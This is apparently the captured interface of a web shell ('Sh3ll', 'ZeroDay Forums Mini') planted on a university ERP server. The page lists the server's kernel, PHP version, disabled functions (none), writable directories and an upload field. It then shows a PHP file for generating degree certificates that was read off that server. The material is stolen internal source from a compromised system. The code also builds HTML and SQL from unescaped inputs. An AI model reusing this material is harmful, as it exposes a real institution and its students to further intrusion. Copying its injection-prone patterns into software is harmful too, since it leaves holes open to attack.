Sh3ll
OdayForums


Server : Apache
System : Linux profile 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
User : apache ( 48)
PHP Version : 8.0.28
Disable Function : NONE
Directory :  /var/www/html/mmishra/erp-19-12-2019/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/mmishra/erp-19-12-2019/tcpdf_example.php
	public function aaaDegree1($action, $graduandID) {
		$app					= $this->controller->app;
		$menu					= $this->controller->menu;
		$instituteID			= $this->controller->instituteID;
		$programID				= $this->controller->params[0];
		$batchYear 				= 2019;

		$programs				= $this->model->selectProgram($instituteID);
		$graduands				= $this->model->selectGraduand($batchYear, $programID);

		$text					= $this->model->getDegreeText($programID);
		$data					= $this->model->getGraduand($graduandID);
    	
		$findbar = "<span class='findbar'>
		Program <select name='programID' style='width: 100px' onchange=\"inner('$app/$menu/open/0/'+this.options[this.selectedIndex].value); return false;\">
		<option value='0'>Select</option>";
		foreach ($programs as $program) {
			$findbar .= "<option value='" .$program['programID']. "'" .($programID == $program['programID'] ? ' selected' : ''). ">" .$program['programCode']. "</option>";
		}
		$findbar .= "</select>
		Enrolment No. <select name='graduandID' style='width: 100px' onchange=\"inner('$app/$menu/print/'+this.value+'/$programID'); return false;\">
		<option value='0'>Select</option>";
		foreach ($graduands as $graduand) {
			$findbar .= "<option value='" .$graduand['graduandID']. "'" .($graduandID == $graduand['graduandID'] ? ' selected' : ''). ">" .$graduand['graduandID'].'-'.$graduand['enrolmentNo']. ' (' .$graduand['nameEnglish']. ")</option>";
		}
		$findbar .= "</select>
		</span>";

		$str = "<h3>" .$this->model->getMenuTitle($menu). "$findbar</h3>";
		
		if ($data) {
			$courseName			= strtoupper($data['courseName']);
			$enrolmentNo		= $data['enrolmentNo'];
			$nameEnglish		= $data['nameEnglish'];
			$nameHindi			= $data['nameHindi'];

			// generate pdf file of receipt
			$pdf 		= new Degree($institute, 'P', 'mm', 'A4');
			$pdf->SetDisplayMode(real, 'default');
			// create first page
			$pdf->AddPage();
			$pdf->SetTitle('ERP PDF Generator');
			$pdf->SetAuthor('IIIT-A');
			$pdf->SetAutoPageBreak(0);

			$hindiText = "$nameHindi";
			
			$englishText = $text['englishText1']. "\n" .$nameEnglish. "\n" .$text['englishText2']. "\n" .$courseName. "\n" .$text['englishText3'];
			
			$pdf->SetFont('Times', 'B', 12);
			$pdf->SetXY(40, 100);
			$pdf->MultiCell(120, 5, $hindiText, 0, 'C');
			$pdf->SetFont('Times', 'B', 12);
			$pdf->SetXY(40, 150);
			$pdf->MultiCell(120, 5, $englishText, 0, 'C');
			$pdf->Ln(5);

			
			try {
				$pdf->Image('https://erp.iiita.ac.in/uploads/' .strtolower($enrolmentNo). '.jpg', 165, 100, 22, 28);
			} catch (Exception $e) {
				$pdf->SetFont('Times', 'I', 6);
				$pdf->SetXY(161, 100);
				$pdf->cell(22, 28, $e->getMessage(), 1, 1, 'L');
			}	
					
			$filename = __DIR__ ."/../uploads/degree-" .$enrolmentNo. ".pdf";
			$pdf->Output($filename, 'F');

			$str .= "<div align='center'>
			<object data='../uploads/degree-" .$enrolmentNo. ".pdf#page=1' type='application/pdf' title='Enrollment Receipt' width='100%' height='650px'>
				<embed src='../uploads/degree-" .$enrolmentNo. ".pdf#page=1' width='100%' height='650' type='application/pdf'>
					<iframe src='../uploads/degree-" .$enrolmentNo. ".pdf#page=1&embedded=true' style='width:100%; height:650px;' frameborder='0'>
						<p>This browser does not support PDFs. Please download the PDF to view it:<br><br><a href='../uploads/degree-" .$enrolmentNo. ".pdf'>Download PDF</a></p>
					</iframe>
				</embed>
			</object>
			</div>$toolbar";
		}
			
	    return $str;
	}
	
	public function aaaDegree2($action, $graduandID) {
		$app					= $this->controller->app;
		$menu					= $this->controller->menu;
		$instituteID			= $this->controller->instituteID;
		$programID				= $this->controller->params[0];
		$batchYear 				= 2019;

		$programs				= $this->model->selectProgram($instituteID);
		$graduands				= $this->model->selectGraduand($batchYear, $programID);

		$rows 					= $this->model->listStudents($instituteID);
		
		$text					= $this->model->getDegreeText($programID);
		$program 				= $this->model->getProgram($programID);
		$data					= $this->model->getGraduand($graduandID);
    	
		$findbar = "<span class='findbar'>
		Program <select name='programID' style='width: 100px' onchange=\"inner('$app/$menu/open/0/'+this.options[this.selectedIndex].value); return false;\">
		<option value='0'>Select</option>";
		foreach ($programs as $program1) {
			$findbar .= "<option value='" .$program1['programID']. "'" .($programID == $program1['programID'] ? ' selected' : ''). ">" .$program1['programCode']. "</option>";
		}
		$findbar .= "</select>
		Enrolment No. <select name='graduandID' style='width: 100px' onchange=\"inner('$app/$menu/open/'+this.value+'/$programID'); return false;\">
		<option value='0'>Select</option>";
		foreach ($graduands as $graduand) {
			$findbar .= "<option value='" .$graduand['graduandID']. "'" .($graduandID == $graduand['graduandID'] ? ' selected' : ''). ">" .$graduand['graduandID'].'-'.$graduand['enrolmentNo']. ' (' .$graduand['nameEnglish']. ")</option>";
		}
		$findbar .= "</select>
		</span>";

		$str = "<h3>" .$this->model->getMenuTitle($menu). "$findbar</h3>";
/*		foreach ($rows as $row) {
			$str .= "update erp_aaa.aaa_students set nameEnglish='" .$row['nameEnglish']. "',nameHindi='" . $row['nameHindi']. "' where studentID=" .$row['studentID']. ";<br>";
		}
*/
		$programName				= strtoupper($program['programName']);
		$programNameH				= $program['programNameH'];
		$specialization				= strtoupper($program['specialization']);
		$specializationH			= $program['specializationH'];
		if ($text) {
			$hindiText1				= $text['hindiText1'];
			$hindiText2				= $text['hindiText2'];
			$hindiText3				= $text['hindiText3'];
			$hindiText4				= $text['hindiText4'];
			$englishText1			= $text['englishText1'];
			$englishText2			= $text['englishText2'];
			$englishText3			= $text['englishText3'];
			$englishText4			= $text['englishText4'];

			if ($data) {
				$enrolmentNo		= $data['enrolmentNo'];
				$nameEnglish		= $data['nameEnglish'];
				$nameHindi			= $data['nameHindi'];
				$gradePoint			= $data['gradePoint'];
				if ($gradePoint >= 8.5) {
					$gpH = ' ससम्मान ';
					$gpE = strtoupper('with \'Honour\' ');
				} else {
					$gpH = '';
					$gpE = '';
				}	
				try {
					// create new PDF document
					$pdf = new Degree(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);

					// set document information
					$pdf->SetCreator(PDF_CREATOR);
					$pdf->SetAuthor('ERP & A');
					$pdf->SetTitle('IIITA');
					$pdf->SetSubject('Degree');
					$pdf->SetKeywords('ERPA, IIITA, Degree');

					// remove default header/footer
					$pdf->setPrintHeader(false);
					$pdf->setPrintFooter(false);

					// set default monospaced font
					$pdf->SetDefaultMonospacedFont(PDF_FONT_MONOSPACED);

					// set margins
					$pdf->SetMargins(PDF_MARGIN_LEFT, PDF_MARGIN_TOP, PDF_MARGIN_RIGHT);

					// set auto page breaks
					$pdf->SetAutoPageBreak(TRUE, PDF_MARGIN_BOTTOM);

					// set image scale factor
					$pdf->setImageScale(PDF_IMAGE_SCALE_RATIO);

					// set some language-dependent strings (optional)
					if (@file_exists(dirname(__FILE__).'/lang/eng.php')) {
						require_once(dirname(__FILE__).'/lang/eng.php');
						$pdf->setLanguageArray($l);
					}
					// ---------------------------------------------------------
		
					// set some language dependent data:
					$lg = Array();
					$l['a_meta_charset'] = 'UTF-8';
					$l['a_meta_dir'] = 'ltr';
					$l['a_meta_language'] = 'hi';
					$lg['w_page'] = 'page';

					// set some language-dependent strings (optional)
					$pdf->setLanguageArray($lg);

					// ---------------------------------------------------------

					// set font
					$pdf->SetFont('freesans', '', 12);		// set font
					//$pdf->SetFont('times', 'BI', 20);

					$fontname_hindi1 = TCPDF_FONTS::addTTFfont('/tcpdf/fonts/NotoSansDevanagari-Regular.ttf','TrueTypeUnicode','',96);
					// add a page
					$pdf->AddPage();
					// set JPEG quality
					$pdf->setJPEGQuality(75);				

					// Image method signature:
					// Image($file, $x='', $y='', $w=0, $h=0, $type='', $link='', $align='', $resize=false, $dpi=300, $palign='', $ismask=false, $imgmask=false, $border=0, $fitbox=false, $hidden=false, $fitonpage=false)

					//$pdf->SetXY(10, 10);
					//$pdf->Image('http://erp.iiita.ac.in/images/iLogo.png', 95, 60, 20, 20, 'PNG', '', 'C', true, 150, '', false, false, 0, false, false, false);

					$pdf->SetFont('helvetica', '', 11);
					$pdf->Write(7, 'Enrollment No.: ' .$enrolmentNo, '', 0, 'R', true, 0, false, false, 0);

					$photo = 'http://erp.iiita.ac.in/uploads/' .strtolower($enrolmentNo). '.jpg';
					$pdf->Image($photo, 162, 88, 30, 35, 'JPG', '', '', true, 300, '', false, false, 0, false, false, false);
					
					// set hindi text to print
					// print a block of text using Write()
					$pdf->SetMargins(50, 80, 50, 1);
					$pdf->SetXY(50, 93);
					$pdf->SetFont($fontname_hindi1, '', 12);		// set font
					$pdf->Write(7, $hindiText1, '', 0, 'C', true, 0, false, false, 0);
					$pdf->SetFont('freesans', 'B', 12);		// set font
					$pdf->Write(7, $nameHindi, '', 0, 'C', true, 0, false, false, 0);
					$pdf->SetFont('freesans', '', 12);		// set font
					$pdf->Write(7, $hindiText2 .$gpH, '', 0, 'C', true, 0, false, false, 0);
					$pdf->SetFont('freesans', 'B', 12);		// set font
					$pdf->Write(7, $programNameH, '', 0, 'C', true, 0, false, false, 0);
					$pdf->SetFont('freesans', '', 12);		// set font
					$pdf->Write(7, $hindiText3, '', 0, 'C', true, 0, false, false, 0);
					$pdf->SetFont('freesans', 'B', 12);		// set font
					$pdf->Write(7, $specializationH, '', 0, 'C', true, 0, false, false, 0);
					$pdf->SetFont('freesans', '', 12);		// set font
					$pdf->Write(7, $hindiText4, '', 0, 'C', true, 0, false, false, 0);

					// print a separator
					$separator = 'http://erp.iiita.ac.in/images/separator4.jpg';
					$pdf->Image($separator, 50, 154, 110, 3, 'JPG', '', '', true, 300, '', false, false, 0, false, false, false);

					// set english text to print
					$pdf->SetXY(50, 160);
					$pdf->SetFont('helvetica', '', 12);
					$pdf->Write(7, $englishText1, '', 0, 'C', true, 0, false, false, 0);
					$pdf->SetFont('timesB', 'B', 12);
					$pdf->Write(7, $nameEnglish, '', 0, 'C', true, 0, false, false, 0);
					$pdf->SetFont('helvetica', '', 12);
					$pdf->Write(7, $englishText2, '', 0, 'C', true, 0, false, false, 0);
					$pdf->SetFont('timesB', 'B', 12);
					$pdf->Write(7, $programName, '', 0, 'C', true, 0, false, false, 0);
					$pdf->SetFont('helvetica', '', 12);
					$pdf->Write(7, $gpE .$englishText3, '', 0, 'C', true, 0, false, false, 0);
					$pdf->SetFont('timesB', 'B', 12);
					$pdf->Write(7, $specialization, '', 0, 'C', true, 0, false, false, 0);
					$pdf->SetFont('helvetica', '', 12);
					$pdf->Write(7, $englishText4, '', 0, 'C', true, 0, false, false, 0);

					$pdf->SetMargins(25, 50, 25, 1);
					// print date using Write()
					$pdf->SetXY(25, 250);
					$pdf->SetFont('helvetica', 'B', 12);
					$pdf->Write(5, '8 Semptember, ' .date("Y"), '', 0, 'C', true, 0, false, false, 0);

					// print date using Write()
					$pdf->SetXY(25, 250);
					$pdf->SetFont('freesans', '', 12);		// set font
					$pdf->Write(5, "( रवि कान्त )", '', 0, 'L', true, 0, false, false, 0);
					$pdf->SetFont('helvetica', '', 12);
					$pdf->Write(5, "( Ravi Kant )", '', 0, 'L', true, 0, false, false, 0);
					$pdf->SetFont('freesans', '', 12);		// set font
					$pdf->Write(5, "अध्यक्ष, शासी मंडल", '', 0, 'L', true, 0, false, false, 0);
					$pdf->SetFont('helvetica', '', 12);
					$pdf->Write(5, "Chairman, Board of Governors", '', 0, 'L', true, 0, false, false, 0);

					$pdf->SetXY(25, 250);
					$pdf->SetFont('freesans', '', 12);		// set font
					$pdf->Write(5, "( पी. नागभूषण )", '', 0, 'R', true, 0, false, false, 0);
					$pdf->SetFont('helvetica', '', 12);
					$pdf->Write(5, "( P. Nagabhushan )", '', 0, 'R', true, 0, false, false, 0);
					$pdf->SetFont('freesans', '', 12);		// set font
					$pdf->Write(5, "अध्यक्ष, अभिषद", '', 0, 'R', true, 0, false, false, 0);
					$pdf->SetFont('helvetica', '', 12);
					$pdf->Write(5, "Chairman, Senate", '', 0, 'R', true, 0, false, false, 0);

					// Print text using writeHTMLCell()
					//$pdf->writeHTMLCell(0, 0, '', '', $texte, 0, 1, 0, true, '', true);
					
					//Close and output PDF document
					$pdf->Output(__DIR__ ."/../uploads/$enrolmentNo.pdf", 'F');
				} catch (Exception $e) {
					$str .= "Error: " .$e->getMessage();
				}
			}
			
			$str .= "<div align='center'>
			<object data='../uploads/$enrolmentNo.pdf#page=1' type='application/pdf' title='Enrollment Receipt' width='100%' height='650px'>
				<embed src='../uploads/$enrolmentNo.pdf#page=1' width='100%' height='650' type='application/pdf'>
					<iframe src='../uploads/$enrolmentNo.pdf#page=1&embedded=true' style='width:100%; height:650px;' frameborder='0'>
						<p>This browser does not support PDFs. Please download the PDF to view it:<br><br><a href='../uploads/$enrolmentNo.pdf'>Download PDF</a></p>
					</iframe>
				</embed>
			</object>
			</div>";
		} else {
			$str .= "Degree text for this program has not been saved.";
		}

		return $str;
	}
		


ZeroDay Forums Mini